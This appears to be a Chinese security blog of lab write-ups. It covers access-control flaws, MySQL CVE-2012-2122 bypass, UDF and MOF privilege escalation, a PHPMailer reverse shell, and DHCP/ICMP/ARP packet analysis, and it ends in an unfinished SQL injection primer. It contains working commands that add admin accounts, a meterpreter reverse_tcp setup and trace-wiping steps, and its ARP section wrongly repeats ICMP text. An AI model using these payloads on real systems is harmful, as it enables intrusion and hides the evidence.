SwanQ's blog

To live is to Risk it All

0%

0x01 前言

本文将谈谈越权那些事儿。靶场也是本博客的传统–pikachu。

0x02 谈谈越权

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。

攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

原理:

Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果。如果验证权限不足,便会导致越权

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

分类:

主要分为水平越权和垂直越权

case1: 隐藏 URL

有些程序的管理员的管理页面只有管理员才显示,普通用户看不到,利用 URL 实现访问控制,但 URL 泄露或被恶意攻击者猜到后,这会导致越权攻击。

解决:验证用户身份,验证用户是否具备操作数据的权限

case2: 直接对象引用

通过修改一下参数就可以产生水平越权,例如查看用户信息页面 URL 后加上自己的 id 便可查看,当修改为他人的 ID 号时会返回他人的信息,便产生了水平越权。

解决:直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理

case3: 多阶段功能

多阶段功能是一个功能有多个阶段的实现。例如修改密码,可能第一步是验证用户身份信息,号码验证码类的。当验证成功后,跳到第二步,输入新密码,很多程序会在这一步不再验证用户身份,导致恶意攻击者抓包直接修改参数值,导致可修改任意用户密码。

解决:执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限,特别敏感操作可以让用户再次输入密码或其他的验证信息。

case4: 静态文件

网站的下载功能,一些被下载的静态文件,例如 pdf、word、xls 等,可能只有付费用户或会员可下载,但当这些文件的 URL 地址泄露后,导致任何人可下载,如果知道 URL 命名规则,则会便利服务器的收费文档进行批量下载。

解决:加密静态文件命名规则,防止攻击者枚举;敏感数据特殊化处理

case5: 平台配置错误

程序会通过控件来限制用户的访问,例如后台地址,普通用户不属于管理员组,则不能访问。但当配置平台或配置控件错误时,就会出现越权访问。

解决:配置控件上点心儿吧

如何防止:

在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

靶场练习:

当我们以lucy身份登陆进系统时,可以看到username参数可控,当我们改成其他用户时,可以看到其他用户的个人信息。这属于水平越权。

接下来看看垂直越权,由于后台处理数据的逻辑存在漏洞,对于发送的数据包并没有判断当前数据包的用户权限,所以存在越权漏洞,具体看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

}
}
}

先登录admin账户创建test1用户,此时抓包.并发送到repeater模块

然后登陆普通用户pikachu,获取普通用户的cookie.

用此cookie覆盖之前admin用户的cookie,重放数据包,发现用户swanQ成功创建.

总结

这句话很有道理:

水平越权相当于用别人的卡,而垂直越权相当于用低价购买奢侈品。

0x01 MYSQL漏洞案例:

先通过MYSQL身份认证绕过漏洞 CVE-2012-2122开始看起。

1. 漏洞原理:

该漏洞是身份认证绕过漏洞,当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于处理不正确,会导致memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。即只要知道用户名,不断尝试就能够直接登入SQL数据库。

2. 影响版本:

Mariadb、Mysql:几乎影响5.1至5.5的所有版本,包括5.1.61,5.0.11,5.3.5,5.5.22,5.5.23

3. 漏洞复现:

靶机:Ubuntu 192.168.127.131

攻击机:kali 192.168.127.130

环境:docker vulhub

注:

[1]除了安装docker-ce docker-io之外,可能需要安装docker-compose

[2]docker-compose是docker的命令行工具,docker-compose up启动并运行vulhub中的mysql服务。

[3]进入docker:docker exec -it 69d1 bash

img

img

环境启动后,将启动一个Mysql服务(版本:5.5.23),监听3306端口,通过Mysql客户端可直接登录,其root密码是123456。至此靶机环境搭建完成

攻击机扫描靶机所开放服务:

img

可看到linux服务器开启了mysql,版本为5.5.23

方法一、用msf直接跑:

1
2
3
4
5
6
msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.127.131
set threads 10
run

img

可以看到密码的哈希值,一般密码以MD5的格式

注:

[1] MD5加密结果是128位二进制,也就是32位十六进制数

[2] SHA-1加密结果是160位二进制,也就是40位十六进制数

[3] SHA-256加密结果是256位二进制,也就是64位十六进制数

[4] SHA-512加密结果是512位二进制,也就是128位十六进制数

[5] RIPEMD160加密结果是160位二进制,也就是40位十六进制数

img

MD5解密

img

方法二、利用bash脚本自动登陆mysql数据库

1
2
3
4
5
6
7
8
9
#!/bin/bash

# 用一个错误的密码登录1000次目标主机的mysql数据库
for ((i = 1; i < 1000; i++))
do
echo "= = = = = = = = = = = = = = = = = = = = = = = = = = = = =";
mysql -h 192.168.127.131 -u root -p111111 -P 3306;
echo "= = = = = = = = = = = = = = = = = = = = = = = = = = = = =";
done

img

img

方法三、Python脚本:

1
2
3
4
#!/usr/bin/python
import subprocess
while True:
subprocess.Popen("mysql -u root -P 3306 -h 192.168.127.131 --password=aaaaa", shell=True).wait()

img

todo:看看mysql 5.5.23的paswword.c出问题的具体位置。

0x02 UDF 提权

UDF(user defined function)用户自定义函数。用户可以通过自己增加函数对mysql功能进行扩充。

通过添加UDF导出dll,再mysql中使用UDF以高权限账号执行命令,添加账号进行提权

1.提权条件:

  • 知道mysql数据库的账户,有对mysql的insert和delete权限,以创建和抛弃函数。
  • 有可以将动态链接库udf.dll写入相应目录的权限。

2.相关知识点

1. Secure_file_priv参数

secure-file-priv参数是用来限制LOAD DATA,SELEC,OUTFILE, LOAD_FILE()传递的指定目录

  • 值为null :限制mysql不允许导入导出
  • 值为/tmp/ :限制mysql的导入导出只能发生在/tmp/目录
  • 没有具体值:对mysql的导入导出不做限制

通过执行SHOW VARIABLES LIKE "secure_file_priv";查看secure-file-priv的状态。

2.UDF来源

sqlmap和metasploit中有windows和Linux32和64位的UDF文件,需要先用sqlmap自带解码工具cloak.py对进行异或的UDF文件进行解码:

1
2
3
4
5
路径:

/usr/share/sqlmap/data/udf/mysql/windows/63/lib_mysqludf_sys.dll_

/usr/share/sqlmap/extra/cloak/cloak.py

metasploit的UDF动态链接库文件无需解码,路径如下:

1
usr/share/metasploit-framework/embedded/framework/data/exploits/mysql

3.UDF提供的函数

hexdump -C lib_mysqludf_sys_64.so | tail -n +118 | head -n 35

1
2
3
4
sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。

此时已经有了udf文件,接下来就要上传到网站的指定目录

  • 当mysql < 5.0,导出路径随意。
  • 当5.0 <= mysql < 5.1,udf.dll 则需要导出至目标服务器的系统目录 (如:c:/windows/system32/)
  • 当mysql > 5.1,要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数

接下来就是寻找插件目录并写入动态链接库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
--查询软件安装目录
show variables like '%plugin%'

-- sys_eval是函数名称,udf.dll是lib_mysqludf_sys.dll_上传后的文件名
create function sys_eval returns string soname 'udf.dll';

--查看 mysql 函数里是否新增sys_eval
select * from mysql.func;

-- 执行系统命令试试
select sys_eval('whoami');

-- 将swanQ加入管理员组
select cmdshell('net user swanQ swanQ/add');
select cmdshell('net localgroup administrators swanQ/add');

-- 清除痕迹:删除函数
drop function cmdshell;
delete from mysql.func where name='cmdshell'

3.漏洞复现:PHPMailer命令执行利用

001 环境搭建

靶机下载

攻击机:kali 192.168.127.130

靶机:Raven 192.168.127.129

靶机开放了SSH22端口、80和111端口。访问靶机的80端口可查看wordpress博客页面,dirb跑一下目录。发现phpmailer,并查看版本信息,发现存在php命令执行漏洞。找到靶机发邮件的位置contact.php。

1
2
3
4
searchsploit phpmailer

# 定位exp位置
locate exploits/php/webapps/40974.py

更改参数后,运行代码,此时目录下会生成back.php

开启本地监听,back.php文件运行后shell会成功反弹。

1
2
3
4
5
# 监听端口
nc -lvnp 6666

# 得到交互式shell:
python -c ’import pty; pty.spawn("/bin/bash")’

0x03 MOF提权

1.原理

MOF(托管对象格式)是windows系统C:/Windows/system32/wbem/mof/nullevt.mof文件,其作用是每间隔5秒就监听进程的创建和死亡。

如果通过mysql使用load_file将文件写入/wbom/mof。mof中有vbs脚本,可以通过控制脚本内容让系统执行命令来提权。

2.条件

  • windows03及以下版本

  • mysql有读写C:/Windows/system32/wbem/mof的权限

  • secure-file-priv参数不为null

msf也自带mof提权模块,且可自动清理痕迹

1
2
3
4
5
6
7
8
9
10
use exploit/windows/mysql/mysql_mof

# 设置payload
set payload windows/meterpreter/reverse_tcp

# 设置目标 MySQL 的基础信息
set rhosts 192.168.127.132
set username root
set password root
run

mof脚本内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中核心payload为:

1
var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")

将test.mof写入mof目录下:

1
2
mysql > select load_file('C:/Documents and Settings/test.mof')into dumpfile "C:/windows/system32/wbem/mof/test.mof";

执行成功test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 ,否则在 c:/windows/system32/wbem/bad 目录下

痕迹清理:

每隔几分钟会重新执行添加用户的命令,所以想清理痕迹得先暂时关闭 winmgmt 服务再删除mof 文件,此时删除用户才有效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 停止 winmgmt 服务
net stop winmgmt

# 删除 Repository 文件夹
rmdir /s /q C:\Windows\system32\wbem\Repository\

# 手动删除 mof 文件
del C:\Windows\system32\wbem\mof\good\test.mof /F /S

# 删除创建的用户
net user hacker /delete

# 重新启动服务
net start winmgmt

0x04 漏洞修复:

MySQL数据库更新到最新版本
禁止除白名单外其他ip远程登录MySQL数据库
修改数据库用户名

思考:

记得是python3跑脚本,不然会遇到python包已安装,但还是找不到的问题。Linux权限管理比Winodws严格,Linux分root用户,组用户和其他用户,然而windows就只有user和administrator。

参考:

https://my.oschina.net/bylibrary/blog/4967585

https://yeasy.gitbook.io/docker_practice/container

https://www.jianshu.com/p/a4f25b2d74e6

https://github.com/vulhub/vulhub

https://blog.csdn.net/yatere/article/details/7654057

https://www.jianshu.com/p/15321f9ede38

https://www.xiaoheidiannao.com/8682.html

0x01 DHCP协议

局域网内分配ip

一、动态主机配置协议DHCP

1.DHCP简介

​ DHCP(Dynamic Host Configuration Protocol),动态主机配置协议,是一个应用层协议。当我们将客户主机ip地址设置为动态获取方式时,DHCP服务器就会根据DHCP协议给客户端分配IP,使得客户机能够利用这个IP上网。

​ DHCP的前身是BOOTP协议(Bootstrap Protocol),BOOTP被创建出来为连接到网络中的设备自动分配地址,后来被DHCP取代了,DHCP比BOOTP更加复杂,功能更强大。后面可以看到,在用Wireshark过滤显示DHCP包,需要输入过滤条件BOOTP,而不是DHCP,但或许是因为我使用的Wireshark版本是比较旧的1.12.9,没有在新版本中尝试过,也许可以输入DHCP让其只显示DHCP包。

2.工作原理

img

DHCP的实现分为4步:

第一步:Client端在局域网内发起一个DHCP Discover包,目的是想发现能够给它提供IP的DHCP Server。

第二步:可用的DHCP Server接收到Discover包之后,通过发送DHCP Offer包给予Client端应答,意在告诉Client端它可以提供IP地址。

第三步:Client端接收到Offer包之后,发送DHCP Request包请求分配IP。

第四步:DHCP Server发送ACK数据包,确认信息。

二、利用Wireshark抓取DHCP包

1.分析

要想抓取到DHCP包,先要保证有可用的DHCP服务器,然后将主机IP地址获取方式设置为自动获取。如果主机在抓包之前已经联网,需要先断开主机的网络连接,然后再连接网络。

cmd中可以使用ipconfig /?查看各参数的含义:

img

(1)ipconfig /release

断开当前的网络连接,主机IP变为0.0.0.0,主机与网络断开,不能访问网络。

img

(2)ipconfig /renew

更新适配器信息,请求连接网络,这条命令结束之后,主机会获得一个可用的IP,再次接入网络。

2.开始抓包

实验环境:Win10专业版,Wireshark3.2.7,有线连接

DHCP服务器IPv4地址:10.170.72.254

本机被分配IP:10.170.56.55

(1)在Wireshark中点击start开始抓包,在过滤栏输入bootp,使其只显示DHCP数据包。

(2)在cmd中输入ipconfig /release 断开网络连接。

img

可以看到此时所有的网卡都已经断开。以太网处于断开状态。 由于开了虚拟机的原因,Wireshark中截获到一个DHCP Release数据包。

(3)在cmd中输入ipconfig /renew 请求网络连接。

此时,可以看到在Wireshark中新增了4个DHCP数据包:

img

数据包1:DHCP Discover

数据包2:DHCP Offer

数据包3:DHCP Request

数据包4:DHCP ACK

注:当直接手动连接wifi时,直接发起request包(另一台pc)

img

等待这条命令执行完毕之后,在cmd中可以看到主机被分配了IP,主机成功连入网络中。

img

(4)为了后续分析使用,我们再执行一次ipconfig /renew:

可以看到Wireshark中新增了3个数据包:DHCP ACK;DHCP Request;DHCP ACk。如果再次使用ipconfig /renew,每执行一次会新增2个数据包:DHCP Request;DHCP ACK

三、DHCP包分析

下面着重来分析当执行,ipconfig /renew这条命令产生的4个DHCP数据包,这4个数据包代表了客户机和DHCP服务器的交互过程,也是IP动态分配的过程。

1.DHCP Discover数据包

(1)Client端使用IP地址0.0.0.0发送了一个广播包,可以看到此时的目的IP为255.255.255.255。Client想通过这个数据包发现可以给它提供服务的DHCP服务器。

(2)从下图可以看出,DHCP属于应用层协议,它在传输层使用UDP协议,目的端口是67。

img

2.DHCP Offer包

当DHCP服务器收到一条DHCP Discover数据包时,用一个DHCP Offer包给予客户端响应。

img

(1)DHCP服务器使用广播地址作为目的地址,因为此时请求分配IP的Client并没有自己ip,而可能有多个Client在使用0.0.0.0这个IP作为源IP向DHCP服务器发出IP分配请求,DHCP也不能使用0.0.0.0这个IP作为目的IP地址,于是依然采用广播的方式,告诉正在请求的Client们,这是一台可以使用的DHCP服务器。

(2)DHCP服务器提供了一个可用的IP,在数据包的Your (client) IP Address字段可以看到DHCP服务器提供的可用IP。

(3)除此之外,如图中红色矩形框的内容所示,服务器还发送了子网掩码,路由器,DNS,域名,IP地址租用期等信息。

3.DHCP Request包

当Client收到了DHCP Offer包以后(如果有多个可用的DHCP服务器,那么可能会收到多个DHCP Offer包),确认有可以和它交互的DHCP服务器存在,于是Client发送Request数据包,请求分配IP。

img

此时的源IP和目的IP依然是0.0.0.0和255.255.255.255。

4.DHCP ACK包

服务器用DHCP ACK包对DHCP请求进行响应。

img

在数据包中包含以下信息,表示将这些资源信息分配给Client.

Your(client) IP address:分配给Client的可用IP

后面有许多项option信息,前两项是DHCP服务器发送的消息类型(ACK)和服务器的身份标识,后面几项是:

Subnet Mask:Client端分配到的IP的子网掩码;

Router:路由器

Domain Name Server:DNS,域名服务器

Domain Name:域名

IP Address Lease Time:IP租用期。

四、DHCP starvation attack

1.DHCP starvation attack,DHCP饥饿攻击

有许多中攻击DHCP的技术,这里介绍其中一种,有点类似于SYN 洪范攻击。

DHCP starvation attack,中文即DHCP饥饿攻击,就是大量地进食,把可以吃的食物全部吃完,然后让其他人没得吃,最后给其他人提供一些毒药,把人家毒死。

下面来说这种攻击是如何实现的。一些不法分子,伪造合法的MAC地址,不断地向DHCP服务器发出DHCP Request包,最后耗尽服务器的可用IP,于是原有的这台DHCP服务器便不能够给客户端分配IP了,此时不法分子再伪造一台DHCP服务器,给客户端分配IP,将客户端的默认网关和DNS都设置成自己的机器,于是便可以对客户端进行中间人攻击

参考:https://blog.csdn.net/zqixiao_09/article/details/77131239

0x02 ICMP协议

一、动态主机配置协议ICMP 不可靠

1.ICMP简介

​ 网络控制消息协议(Internet Control Message Protocol,ICMP)是网路协议族的核心协议之一。它用于TCP/IP网络中发送控制消息,提供可能发生在通信环境中的各种问题反馈,令管理者可以对所发生的问题作出诊断并采取适当的措施。

​ ICMP 依靠IP来完成它的任务,它是IP的主要部分。它与传输协议,如TCP和UDP显著不同:它一般不用于在两点间传输数据。仅ping和traceroute会用到。 IPv4中的ICMP被称作ICMPv4,IPv6中的ICMP则被称作ICMPv6。

​ ICMP是在RFC 792中定义的互联网协议族之一。通常用于返回的错误信息或是分析路由。ICMP错误消息总是包括了源数据并返回给发送者。 ICMP错误消息的例子之一是TTL值过期。每个路由器在转发数据报的时候都会把IP包头中的TTL值减一。如果TTL值为0,“TTL在传输中过期”的消息将会回报给源地址。 每个ICMP消息都是直接封装在一个IP数据包中的,因此,和UDP一样,ICMP是不可靠的。

​ 虽然ICMP是包含在IP数据包中的,但是对ICMP消息通常会特殊处理,会和一般IP数据包的处理不同,而不是作为IP的一个子协议来处理。在很多时候,需要去查看ICMP消息的内容,然后发送适当的错误消息到那个原来产生IP数据包的程序,即那个导致ICMP讯息被传送的IP数据包。

​ 很多常用的工具是基于ICMP消息的。

  • traceroute是通过发送包含有特殊的TTL的包,然后接收ICMP超时消息和目标不可达消息来实现的。
  • ping则是用ICMP的”Echo request”(类别代码:8)和”Echo reply”(类别代码:0)消息来实现的。ping是一款用于检测一个设备可连接性的工具,用于发送ICMP echo请求数据包。

二、利用Wireshark抓取DHCP包

1.ping分析

ping自己服务器

img

(1)echo ping请求包request

img

ICMP头部的Type以及Code的内容:

  1. Type表示ICMP消息基于RFC规范的类型或分类。
  2. Code表示ICMP消息基于RFC规范的子类型。
  3. ICMP头部中的Type的值是8,Code值是0,说明是一个echo请求数据包,所包含的数据很少。除了指定的类型、代码以及校验和,这里还有序列号用于匹配请求和响应,并且在可变域中包含有一串随机字符串。

(2)echo ping reply响应包

img

  1. ICMP头部中,类型和代码的值都是0,表示这是一个echo响应。
  2. 第二个数据包的序列号和第一个数据包匹配,确定对应关系
  3. Data的部分,这个数据包和第一个数据包字符相同。说明数据包被成功接收,ping成功。

2.安全问题

​ ICMP协议本身的特点就决定了它易于攻击网络上的路由器和主机。

  1. DDoS:用户可以利用操作系统规定的ICMP数据包的最大尺寸不超过64K这个规定,向网络上的主机发起Ping of Death攻击。因为当ICMP数据包的大小超过64K的时候,目标主机就有可能出现内存分配的错误的情况,导致TCP/IP堆栈崩溃,使得主机死机。
  2. ICMP风暴:向目标主机长时间、连续、大量地发送ICMP数据包,也会最终使系统瘫痪。大量的ICMP数据包会形成“ICMP风暴”,耗费目标主机大量的CPU资源。
  3. ICMP的echo请求使用的字符串可被利用,攻击者可使用这段内容来推测设备所使用的操作系统。或放置一些数据位用作反向连接。

2.路由跟踪

img

​ 路由跟踪识别一个设备到另一个设备的路径。对于溯源来说,确定数据包从一个地方到另一个地方所走的路径是异常重要的。

​ tracert:利用了ICMP协议,通过其跟踪结果,我们就可以画出数据包所走的路径。总共经过9个跃点到达目标IP

(1)第一个数据包:192.168.137.44 –> 192.168.137.1

img

​ 类比于此前分析的echo请求。这个数据包是从IP地址为192.168.137.44到47.95.28.98的简单的echo的请求,并且ICMP数据包头部的每一部分都与echo请求数据包相同。数据包的IP头中的TTL的值为1:****这个数据包会在它所遇到的第一个路由器的地方被丢弃。由于目标地址47.95.28.98是外网地址,肯定至少存在一个路由器,因此这个数据包不会到达目的地。

(2)第二个数据包: 192.168.137.1 –>192.168.137.44

img

​ 此数据包是在前往目的地的路径上,第一个路由器发回的reply响应。由于第一个数据包到达192.168.137.1后,TTL的值变成了0,因此就不能够继续传输,此时路由器就回复了一个ICMP响应。这个数据包的类型是11,代码是0,告诉我们这个数据包的TTL在传输中超时,所以目标地址不可达。

ICMP双头包:在ICMP的结尾部分包含了原echo请求的IP头和ICMP数据的拷贝。因此这个数据包也被叫做ICMP双头包,表示包含有两个ICMP的包头信息。双包头信息在网络故障检修的时候会非常有用。

(3)第三个数据包:找192.168.137.44

img

​ TTL为2,保证此数据包到达第二跳的路由。但是即便TTL的值变成了2,从下面的数据包来看,它也是无法到达目的地,直至TTL的值增长到9,这个数据包才到达了目的地。

(4)响应: 192.168.137.1 –>10.170.72.254

img

为何在此之前由两个数据包TTL为3呢?说明第二跳已经找到,开始物色第三跳,只不过回应时间稍长而已。

(5)找第三跳

(6)第三跳响应:172.16.255.242–>192.168.137.44

img

(6)第四跳响应:113.140.11.97–>192.168.137.44

之后如上

0x03 地址解析协议ARP**

1.ARP简介

​ ARP:IP地址解析为物理地址(MAC地址)。这里之所以需要使用MAC地址,是因为网络中用于连接各个设备的交换机使用了内容可寻址存储器(CAM,Coment Addressable Memory)。该存储器维护的ARP表列出了它在每一个端口的所有连接设备的MAC地址。

​ 当交换机收到了一个指向特定MAC地址的网络流量,它就会使用这个表,来确定应该使用哪一个端口发送流量。如果目标MAC地址是未知的,那么这个传输设备会首先在它的缓存中查找这个地址,如果没有找到,那么这个地址就需要通过在网络上额外的通信中解析了。或者我们可以结合下图来说明这个问题:

img

​ OSI模型将网络分为了七层,而IP地址位于第三层,也就是网络层,MAC地址位于数据链路层,也就是第二层。那么在通过以太网发送IP数据包的时候,需要首先封装第三层和第二层的报头。但由于发送数据包时只知道目标IP地址,不知道其MAC地址,而又不能直接跨越第二、三层,所以需要地址解析协议。而在使用了ARP协议后,计算机可以按照网络层IP数据包的头部信息,将硬件地址信息(MAC地址)对应起来,以保证通信的顺利进行。ARP协议的基本功能就是将一个已知的IP地址解析成MAC地址,以便主机之间可以正常地通信。

​ ARP协议是在RFC826中定义的。RFC(Request for Comments)是定义各种协议实现标准的官方文档。可在RFC Editor的首页搜索RFC文档。

2.工作原理

通过查看RFC826可以知道,其实ARP协议的解析过程只使用了两种数据包:一个ARP请求和一个ARP响应,如下图所示:

img

其详细工作原理为:

(1)当主机A想要给主机B发送数据时,主机A会首先在自己的本地ARP缓存表中检查与主机B相匹配的MAC地址。

(2)如果主机A在自己的缓存表中没找到主机B的相关条目,那么它就要想办法获取主机B的MAC地址。这就需要将ARP的请求帧广播到本地网络上的所有主机中。这个请求帧包含有主机A的IP地址和MAC地址,以及主机B的IP地址。网络中凡是收到请求帧的主机都会检查自己的IP地址是否与请求地址一致,如果不一致,则会丢弃该请求帧。对于上图来说,主机C和主机D会丢弃主机A发出的请求帧。

(3)主机B确定ARP请求中的IP地址和自己的IP地址一致,那么就会将主机A的IP地址和MAC地址添加到本地的缓存列表中

(4)主机B将包含有自己MAC地址的ARP响应消息直接回复给主机A(单播)

(5)主机A收到从主机B发来的ARP响应消息后,会将主机B的IP地址和MAC地址添加到自己的ARP缓存表中。接下来,主机A就可以向主机B发送消息了。

二、利用Wireshark抓取ARP包

查找局域网内IP:for /L %i IN (1,1,254) DO ping -w 2 -n 1 192.168.9.%i

​ arp -a

1.ARP分析

ARP缓存表如下:

本机所在局域网的ARP缓存表为192.168.9.20,每行表示一个ARP条目。缓存表有效期为120秒

主机启动时会主动发送ARP应答 刷新邻居的ARP缓存

img

(1)ARP请求包request

img

1.Ethernet:数据包目的地址是ff:ff:ff:ff:ff:ff,广播地址,说明当前数据包会被广播到当前网段中的所有设备上。

2.ARP请求的头部信息:硬件类型、协议类型、硬件地址长度、协议长度、

3.操作码(该值为1,表示这是一个ARP请求包)、发送方的MAC和IP地址,以及接收方的IP地址。

4.目标MAC地址还是未知的,因此就以全0的形式显示。

(2)ARP reply响应包

img

1.目标MAC地址已更新

2.操作码(Opcode)现在是2,表明这是一个用于响应的数据

(3)免费的ARP

img

  1. 以广播的形式发出,网络上的所有主机都能收到它。
  2. 发送方的IP地址和接收方的IP地址是一致的。网络中的其它主机收到这个数据包之后,它会让这些主机使用新的IP和MAC地址映射关系来更新它们的ARP表。
  3. 由于这个ARP数据包是源主机未经请求主动发出的,并导致了目标主机更新了ARP缓存,所以称之为免费的ARP。

2.安全问题

​ ARP协议本身广播不验证的特点就决定了它易于攻击

  1. DDoS:用户可以利用操作系统规定的ICMP数据包的最大尺寸不超过64K这个规定,向网络上的主机发起Ping of Death攻击。因为当ICMP数据包的大小超过64K的时候,目标主机就有可能出现内存分配的错误的情况,导致TCP/IP堆栈崩溃,使得主机死机。
  2. ARP欺骗:向目标主机连续、大量地发送假的ARP数据包。

0x01 前言

在本篇随笔当中将会介绍什么是SQL注入,如何查找和利用SQL注入及如何防止SQL注入

0x02 SQL注入

1. 原理:

客户端提交的表单数据被拼接到数据库的查询语句当中,被当作SQL语句的一部分执行。

SQL injection is a web security vulnerability that allows an attacker to interfere with queries that an application makes to its databases.It generally allows an attacker to view data that not normally able to retrive.

2. 危害:

数据库信息泄漏、网页篡改、服务器被远程控制,被安装后门、网站被挂马,传播恶意软件(修改数据库一些字段的值,嵌入网马链接,进行挂马攻击)、数据库被恶意操作(数据库服务器被攻击,数据库的系统管理员帐户被窜改)、破坏硬盘数据,瘫痪全系统。

3.相关(可跳过)

a.数据库分类及判断:

数据库分关系型数据库和非关系型数据库。

关系型数据库:主要代表:Mysql、SQL Server、Oracle、PostgreSQL。关系型数据库是指采用了二维表格模型这种关系模型来组织数据的数据库。支持联表查询、使用正则表达式查询、嵌套查询,还可写独立的SQL脚本

非关系型数据库:主要代表MongoDB,Redis、CouchDB。NoSQL非关系型数据库,主要指那些非关系型的、分布式的,且一般不保证ACID的数据存储系统。NoSQL以键值来存储,且结构不稳定,每个元组字段不同,不局限于固定结构,可以减少时间和空间开销。获取用户的不同信息时,仅需要根据key来取出对应的value值即可。

其中,判断后台数据库类型

1.根据web语言判断:

数据库类型 语言
Mysql、PostgreSQL PHP
Oracle、Mysql Java
Oracle JSP
MSSQL(Microsoft SQL Server) ASP和.NET

2.根据操作系统:

Mysql:Apache

SQL server:windows(IIS)

3.根据数据库报错判断:

a.MYSQL数据库

1
error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

有mysql关键字,为MYSQL数据库。

b.MSSQL数据库

1
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'  [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:

mssql是微软的,由Microsoft和ODBC,为MSSQL数据库

c.access数据库

Microsoft JET Database Engine错误’80040e14’错误的话,则是access数据库

1
2
注:
详见:https://www.jianshu.com/p/e308d96e2ecd

d.ORACLE数据库

ORA是ORACLE

以下都以Mysql为例

b. 常见函数:

  1. ```

    1. version() MySQL 版本 select version()

    2. user() 数据库用户名

    3. database() 数据库名 select databases;

    4. @@datadir 返回数据库的存储目录 select @@datadir;

    5. @@version_compile_os 操作系统版本 select @@version_compile_os;

    6. SQL 注释语句 (“–”与”//“)

      (1)#
      (2)– 表示单行注释
      (3) /comment/ 用于多行(块)注释
      (4)/*! MYSQL Special SQL */

    7. concat(str1,str2,…) 没有分隔符地连接字符串,如有任何一个参数为NULL ,则返回值为 NULL

    8. concat_ws(separator,str1,str2,…) 含有分隔符地连接字符串

    9. group_concat(str1,str2,…) 连接一个组的所有字符串,并以逗号分隔每条数据

    10. mid(str, pos, len);
      substr();
      substring()-从一个字符串中截取指定数量的字符

    11. limit() 从某个值开始,取出之后的N条数据的语法 (返回结果中的前几条数据或者中间的数据)
      select * from 表名 limit M,N;m是:指从m位开始(第一位为0) n是:指取n条

    12. order by 默认按照升序对记录进行排序, ORDER BY Company (DESC)

    13. group by 结合合计函数,根据一个或多个列对结果集进行分组

    14. sleep()
      select sleep(N)可以让此语句运行N秒钟

    15. if() 语法:
      IF(expr1,expr2,expr3) 其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果。

    16. left() LEFT(str,len) 返回最左边的n个字符的字符串str,或NULL如果任何参数是NULL

    17. count() COUNT(column_name) 语法 COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入)

    18. round() 四舍五入一个正数或者负数,结果为一定长度的值

    19. hex() 16进制编码 select hex(‘dvwa’) //编码 select unhex(‘64767761’) //解码

      select 0x64767761 //16进制解码

    20. ascii(arg) :返回目标字符对应的ASCII码。 ord(arg)将字符转为ASCII

    21. char(arg):返回ASCII码只对应的字符 语句:select char(97)

    22. hex():将目标字符串装换成16进制格式的数据 语句: select hex(“dvwa”)

    23. unhex():将16进制格式的数据装换成原字符串

      语句:unhex(64767761) 
      
    24. load_file()读取文件

    25. floor()返回小于等于X的最大整数

    26. strcmp() 比较两个字符串ascii值的大小(大小写不敏感)

    27. exp()返回e的X次方

    28. Mysql可以使用的空白字符:
      %09
      %0a
      %0b
      %0c
      %0d
      %20
      %a0
      /**/

      1
      2
      3
      4
      5
      6
      7

      ### c. 常用语句:

      - 查库

      ```sql
